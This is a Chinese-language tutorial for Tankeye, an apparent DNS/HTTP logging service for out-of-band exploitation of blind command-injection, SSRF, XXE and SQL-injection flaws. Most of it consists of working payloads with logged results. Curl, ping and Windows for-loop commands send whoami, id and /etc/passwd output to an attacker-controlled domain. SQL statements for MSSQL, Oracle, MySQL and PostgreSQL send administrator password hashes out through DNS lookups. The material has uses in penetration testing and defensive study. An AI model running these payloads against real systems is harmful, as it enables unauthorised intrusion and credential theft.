@RedFree
2017-01-09T12:51:48.000000Z
字数 9959
阅读 636
Tankeye
DNSLog
ApacheLog
隐式命令执行
SSRF
Tankeye是一个非常犀利的武器,其原身为CloudEye前端由RedFree重写,它能够帮助您在没有回显的情况下快速获取命令执行漏洞/SQL注入漏洞的结果,因此在实际的使用过程中它可以为您节约大量的时间开支/请求开支。若要善用Tankeye并掌握这门四两拨千斤的功夫,接下来就仔细研习下这门功夫的宝典吧...
Tankeye本身就是一个集DNS解析服务和Web服务与一身的系统。在申请域名(如:veye.info)后将域名的DNS指向Tankeye的工作IP,那么此域名的解析工作便全部由Tankeye的域名解析服务来完成。因此在向此域名的任何子域名(如:123.veye.info)发起解析请求时Tankeye的解析服务都会进行日志记录。同样,在尝试请求此域名下指定端口的http(默认:80)服务时,Apache也会进行日志记录(包含请求时间、路径、GET参数、UserAgent等,可自定义)。所有的这些记录都会被Tankeye分析后记录入数据库,根据每个用户的特有子域名(如:qw3er454.veye.info)进行分类管理。
可以毫不夸张地说,任何可以发起请求(DNS/HTTP请求未被过滤)的漏洞都可以用Tankeye来 验证 漏洞是否存在。典型的漏洞有以下几类:
- 命令执行
- SSRF(务器端请求伪造)
- XXE(XML外部实体注入攻击)
- SQL注入
- XSS(跨站脚本攻击)
- ......
Linux下可以发起请求的命令很多,如:wget、curl、ping、nslookup、dig等。若去细分的话wget和curl则是发起http请求(当然也会连带出DNS解析请求)产生Apache日志和DNS日志,其它的几个命令则只会在Tankeye中产生DNS日志。
若仅验证漏洞是否存在,则简单的请求载荷便可达到效果。如:
- wget http://cmd.qw3er454.veye.info/
- curl cmd.qw3er454.veye.info
- ping cmd.qw3er454.veye.info -t 1
- nslookup cmd.qw3er454.veye.info
- dig cmd.qw3er454.veye.info
以上几条命令仅限于验证命令执行漏洞是否存在,前缀cmd可以改为任何其它的单词,若在执行载荷后在Tankeye中产生了日志且未进行其它操作,则可认定为目标存在命令执行漏洞。但是现在问题又来了,如何使用Tankeye获取命令执行的结果呢?
有以下两种方案,一是发起解析请求时在DNS日志里返回结果;二是发起HTTP请求时在Apache日志里返回结果。几条示例命令如下:
ping `whoami`.qw3er454.veye.info -t 1
括起whoami的是反引号,Linux在执行ping命令时会优先执行反引号中间的命令并将结果拼接到域名中再ping。因此我们可以在DNS日志中获取到目标系统中whoami命令的结果:
30-Dec-2016 23:33:37.954 queries: client 60.215.138.171#49637 (root.qw3er454.veye.info): query: root.qw3er454.veye.info IN A -EDC (192.168.1.223)
从DNS日志中可以看到目标服务器上执行whoami命令的结果是root。
使用如下方式的载荷也可以产生和反引号相同的结果,Linux会优先执行$()中的命令并拼接结果。
ping $(whoami).qw3er454.veye.info -t 1
可以看到,使用DNS日志回传命令结果非常简单。但是问题又来了,域名的长度是有限制的,且不能带有某此"特殊"字符。这样一来,当命令执行的结果略为复杂后,使用DNS日志返回结果便不那么靠谱了(为介绍Apache日志返回结果,后面有高级玩法)。如以下命令,就因为id的执行结果中带有"特殊"字符从而导致ping命令执行失败:
ping $(id).qw3er454.veye.info -t 1
当目标可以向外发起HTTP请求时,我们就可以使用Apache日志来返回较长且带有特殊字符的结果。如:
curl exec.qw3er454.veye.info/?whoami=`whoami`
返回结果:
[30/Dec/2016:23:53:08 +0800] 104.124.174.43 - - exec.qw3er454.veye.info GET /?whoami=apache HTTP/1.1 200 "curl/7.19.7 (i386-redhat-linux-gnu) libcurl/7.19.7 NSS/3.21 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2"
可以看到whoami的结果为apache,从返回的UserAgent中也可以看到是curl发出的请求。
因Apache日志可返回的结果长度远比DNS日志长,因此在目标网络环境允许的条件下,可以尽量采用HTTP请求来返回结果。
1、编码后返回结果
curl exec.qw3er454.veye.info/?id=`id|base64`
返回Apache日志结果:
[31/Dec/2016:10:37:41 +0800] 104.124.174.43 - - exec.qw3er454.veye.info GET /?id=dWlkPTQ4KGFwYWNoZSkgZ2lkPTQ4KGFwYWNoZSkgZ3JvdXBzPTQ4KGFwYWNoZSkK HTTP/1.1 200 "curl/7.19.7 (i386-redhat-linux-gnu) libcurl/7.19.7 NSS/3.21 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2"
解码其中的Base64内容为:
uid=48(apache) gid=48(apache) groups=48(apache)
2、UserAgent中携带数据
curl exec.free.veye.info --user-agent `id|base64`
返回结果:
[31/Dec/2016:10:47:16 +0800] 123.127.95.101 - - exec.qw3er454.veye.info GET / HTTP/1.1 200 "dWlkPTQ4KGFwYWNoZSkgZ2lkPTQ4KGFwYWNoZSkgZ3JvdXBzPTQ4KGFwYWNoZSkK"
3、读取指定行返回
第一行:
curl exec.qw3er454.veye.info --user-agent `cat /etc/passwd | tail -n +1 | head -n 1`
返回结果:
[31/Dec/2016:11:22:14 +0800] 104.124.174.43 - - exec.qw3er454.veye.info GET / HTTP/1.1 200 "root:x:0:0:root:/root:/bin/bash"
第二行:
curl exec.qw3er454.veye.info --user-agent `cat /etc/passwd | tail -n +2 | head -n 1`
返回结果:
[31/Dec/2016:11:22:19 +0800] 104.124.174.43 - - exec.qw3er454.veye.info GET / HTTP/1.1 200 "bin:x:1:1:bin:/bin:/sbin/nologin"
如此改变+x的值便可以获取第x行的结果。
4、分段返回命令结果
返回id命令base64结果的1-10个字符:
curl `id|base64|cut -c 1-10`.qw3er454.veye.info
结果:
31-Dec-2016 14:37:49.661 queries: client 66.220.7.82#8293 (dWlkPTQ4KG.free.qw3er454.info): query: dWlkPTQ4KG.qw3er454.veye.info IN A -E (10.10.171.116)
通过此方法,在目标网络不能发出HTTP请求,但可以发出DNS解析请求时可以将命令结果分段式传送回来。
5、接收POST数据
Tankeye不仅限于接收GET型数据,而且可以接收POST方式传输过来的数据。具体接口说明如下:
1、Tankeye的数据接收地址为:http://veye.info/6bd3bebd(后面的8位随机字符替换为您的域名前缀)。在实际使用中请将要接收的数据POST到此地址,参数及内容不限。
2、后端在接收数据时会数据进行htmlspecialchars,同时由于存储POST数据的列类型为text,因此在POST数据时请注意长度(基本上已经满足了大部分需求)。数据被接收后会记录在ApacheLog里,域名为post.6bd3bebd.veye.info,在管理首页点击此域名的Apache日志按钮可以查看。
3、请注意:POST数据一般都比较大,考虑到资源消耗的问题,因此将来后台可能会定期自动清除日志或限制POST数据的条数。
示例命令:
curl -d "`id`" "http://veye.info/6bd3bebd"
返回日志:
2017-01-03 12:29:16 -- POST LOG -- [uid=48(apache) gid=48(apache) groups=48(apache)]
通过POST方式可以传输的内容不再受字符内容限制,同时传输内容大小也远大于GET方式。
相比与Linux,Windows的命令执行显然要更难以返回结果。Windows下工具实在少之又少,但也并非完全没有好的玩法。下面列举几例:
Windows下可以发起请求的命令也有数种,如:ping、nslookup、iexplore、powershell、vbs等各类脚本。单就命令的简繁程度来看,前两个显然更适合回传数据。Windows自带start命令,可以用来调用默认的浏览器打开指定网址。我们也可以用此命令来使用Apache日志回传量大的数据。但一定不要忘了执行start命令后再taskkill /f /im iexplore.exe来结束IE进程。若目标系统使用的是其它浏览器作为默认浏览器,则结束其它浏览器的进程。
命令:
for /F %x in ('whoami') do start http://cmd.qw3er454.veye.info/?result=%x
返回结果:
[31/Dec/2016:14:59:50 +0800] 123.127.95.101 - - cmd.qw3er454.veye.info GET /?result=d142\\redfree HTTP/1.1 200 "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
需要要注意的是For命令会将括号中命令的执行结果每一行都作为一个单独的请求执行,且Windows的命令结果会因某些字符而截断,如:
for /F %x in ('net user') do start http://cmd.qw3er454.veye.info/?result=%x
发起了数次请求,Apache日志的结果如下:
Gecko) Chrome/45.0.2454.101 Safari/537.36"
[31/Dec/2016:15:02:51 +0800] 123.127.95.101 - - cmd.qw3er454.veye.info GET /?result=%E5%91%BD%E4%BB%A4%E6%88%90%E5%8A%9F%E5%AE%8C%E6%88%90%E3%80%82 HTTP/1.1 200 "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
[31/Dec/2016:15:02:51 +0800] 123.127.95.101 - - cmd.qw3er454.veye.info GET /?result=------------------------------------------------------------------------------- HTTP/1.1 200 "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
[31/Dec/2016:15:02:51 +0800] 123.127.95.101 - - cmd.qw3er454.veye.info GET /?result=Administrator HTTP/1.1 200 "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
[31/Dec/2016:15:02:51 +0800] 123.127.95.101 - - cmd.qw3er454.veye.info GET /?result=\\\\D142 HTTP/1.1 200 "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
可以看到,因为空格的存在,部分行只返回了部分内容。
返回指定目录的目录和文件名:
for /F %x in ('dir /b C:\Windows\debug\') do ping %x.qw3er454.veye.info -n 1
返回日志:
31-Dec-2016 15:16:24.859 queries: client 60.215.138.162#58886 (PASSWD.LOG.qw3er454.veye.info): query: PASSWD.LOG.qw3er454.veye.info IN A -EDC (10.10.171.116)
31-Dec-2016 15:16:24.982 queries: client 60.215.138.160#39764 (WIA.qw3er454.veye.info): query: WIA.qw3er454.veye.info IN A -EDC (10.10.171.116)
关于SQL注入使用DNS或HTTP数据通道的原理可以参见乌云知识库文章:《在SQL注入中使用DNS获取数据》。
成功利用DNS从有漏洞的数据库中渗出数据的前提条件是DBMS中有可用的能直接或间接引发DNS解析过程的子程序。 然后这类的子程序被攻击者利用,作为攻击的媒介。
任何可以接受网络地址的函数是最有可能被利用来进行这种攻击的。
扩展存储程序是一个直接运行在微软的地址空间库SQL服务器(MSSQL)的动态链接。有几个未被公开说明的扩展存储程序对于实现本文的目的特别有用的。
攻击者可以使用Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。Windows系统的UNC语法具有通用的形式:
\\ComputerName\SharedFolder\Resource
攻击者能够通过使用自定义制作的地址作为计算机名字段的值引发DNS请求。
扩展存储程序master..xp_dirtree()用于获取所有文件夹的列表和给定文件夹内部的子文件夹:
master..xp_dirtree '<dirpath>'
例如,要获得C:\Windows run:里的所有文件夹和子文件夹:
EXEC master..xp_dirtree 'C:\Windows';
扩展存储程序master..xp_fileexist()用于确定一个特定的文件是否存在于硬盘: xp_fileexist '' 例如,要检查boot.ini文件是否存在于磁盘C 运行:
EXEC master..xp_fileexist 'C:\boot.ini';
扩展存储程序master..xp_subdirs()用于得到给定的文件夹内的文件夹列表:
master..xp_subdirs '<dirpath>'
例如,要获得C:\Windows中的所有次级文件夹:
EXEC master..xp_subdirs 'C:\Windows';
接下来的是的通过MsSQL的扩展存储程序master..xp_dirtree()将管理员(sa)的密码哈希通过DNS传输的例子。
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.example.com';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');
这种预先计算的形式被使用,因为扩展存储程序不接受带有参数的子查询。因而使用临时变量存储SQL查询的结果。
Oracle提供的PL/ SQL包被捆绑在它的Oracle数据库服务器来扩展数据库功能。为了实现本文的目的,其中几个用于网络接入的包让人特别感兴趣。
UTL_INADDR包用于互联网的寻址--诸如检索本地和远程主机的主机名和IP的地址。
它的成员函数GET_HOST_ADDRESS()用于检索特定主机的IP:
UTL_INADDR.GET_HOST_ADDRESS('<host>')
例如,为了获得test.example.com的IP地址,运行:
SELECT UTL_INADDR.GET_HOST_ADDRESS('test.example.com');
UTL_HTTP包用于从SQL和PL/SQL中标注出HTTP。 它的程序REQUEST()回从给定的地址检索到的第1-2000字节的数据: UTL_HTTP.REQUEST('')
例如,为了获得http://test.example.com/index.php页面的前两千字节的数据,运行:
SELECT UTL_HTTP.REQUEST('http://test.example.com/index.php') FROM DUAL;
HTTPURITYPE类的实例方法GETCLOB()返回从给定地址中检索到的CLOB(Character Large Object)
HTTPURITYPE('').GETCLOB()
例如,从页面http://test.example.com/index.php开始内容检索 运行:
SELECT HTTPURITYPE('http://test.example.com/index.php').GETCLOB() FROM DUAL;
DBMS_LDAP包使得PL/SQL程序员能够访问轻量级目录访问协议(LDAP)服务器。它的程序INIT()用于初始化与LDAP服务器的会话:
DBMS_LDAP.INIT(('',)
例如:初始化与主机test.example.com的连接 运行:
SELECT DBMS_LDAP.INIT(('test.example.com',80) FROM DUAL;
攻击者可以使用任何以上提到的Oracle子程序发起DNS请求。然而,在Oracle 11g中,除了DBMS_LDAP.INIT()以外的所有可能导致网络访问子程序都受到限制。
以下例子是系统管理员(SYS)的密码哈希被Oracle程序DBMS_LDAP.INIT()通过DNS解析机制传输:
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.example.com',80) FROM DUAL;
MySQL的函数LOAD_FILE()读取文件内容并将其作为字符串返回:LOAD_FILE('')
例如,要获取C:\Windows\system.ini文件的内容 运行:
SELECT LOAD_FILE('C:\\Windows\\system.ini') ;
以下是使用MySQL的函数LOAD_FILE()将系统管理员的密码通过DNS解析机制传输的例子:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.example.com\\abc'));
PostgreSQL的声明COPY用于在文件系统的文件和表之间拷贝数据:
COPY <table>(<column>,...) FROM '<path>'
例如,为了将C:\Windows\Temp\users.txt的文件内容拷贝到含有唯一列names的users表中 运行:
COPY users(names) FROM 'C:\\Windows\\Temp\\users.txt'
以下是使用PostgreSQL的声明COPY将系统管理员的密码通过DNS解析机制传输的例子:
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.example.com\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
这种预先计算的形式被使用,因为SQL的声明COPY不接受子查询。
同时,PostgreSQL的变量都必须被明确地声明并在子程序(函数或者程序)范围内使用。因此使用用户自定义的存储功能。
Tankeye提供了文件部署功能,可以很方便地验证诸如远程文件包含、XXE等漏洞。详见后台接口管理>文件部署>文件部署说明。具体说明如下:
1、您可以使用Tankeye文件部署功能上传任意类型的文件,后端会将文件内容Base64编码后记录入数据库(考虑到资源消耗,文件大小限200k以内,将来可能定期清文件或限制单用户可部署文件数)。
2、文件名会以您提交的保存文件名记录,之后你可以在文件列表中看到访问此文件的地址。
3、若指定了具体后缀,则此文件只能以此后缀访问;若不指定具体后缀,则文件可以以任意后缀来访问(两条rewrite规则而已)。
4、文件名最好使用小写字母与数字,使用其它字符不保证可以访问的到(rewrite的规则比较简单,复杂的文件名正则就匹配不到了)。